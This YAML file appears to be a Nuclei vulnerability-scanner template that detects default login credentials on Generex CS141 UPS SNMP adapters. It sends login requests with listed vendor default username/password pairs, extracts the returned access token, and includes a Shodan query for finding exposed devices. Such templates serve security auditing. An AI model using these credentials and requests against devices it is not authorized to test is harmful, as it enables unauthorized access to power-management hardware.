id: cs141-default-login

info:
  name: UPS Adapter CS141 SNMP Module Default Login
  author: socketz
  severity: medium
  description: UPS Adapter CS141 SNMP Module default login credentials were discovered.
  reference:
    - https://www.generex.de/media/pages/packages/documents/manuals/f65348d5b6-1628841637/manual_CS141_en.pdf
  classification:
    cwe-id: CWE-798
    cpe: cpe:2.3:h:generex:cs141:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    shodan-query: http.html:"CS141"
    product: cs141
    vendor: generex
  tags: hiawatha,iot,default-login,vuln

http:
  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/json

        {"userName":"{{user}}","password":"{{pass}}"}

    attack: pitchfork
    payloads:
      user:
        - admin
        - engineer
        - guest
      pass:
        - cs141-snmp
        - engineer
        - guest
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'accessToken'
          - 'application/json'
        condition: and
        part: header

      - type: word
        part: body
        words:
          - 'accessToken'
          - 'AdminFirstTime'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: kval
        kval:
          - accessToken
# digest: 490a0046304402206d1fa562bca07ebd5f56ce4179d8e2b294f6917e7d1b23da23745a4816f76c3c022032fa4c472fbb6e463b53affd903f195ea21a8ebb4adecd4a9c96fa3d65a44630:922c64590222798bb761d5b6d8e72950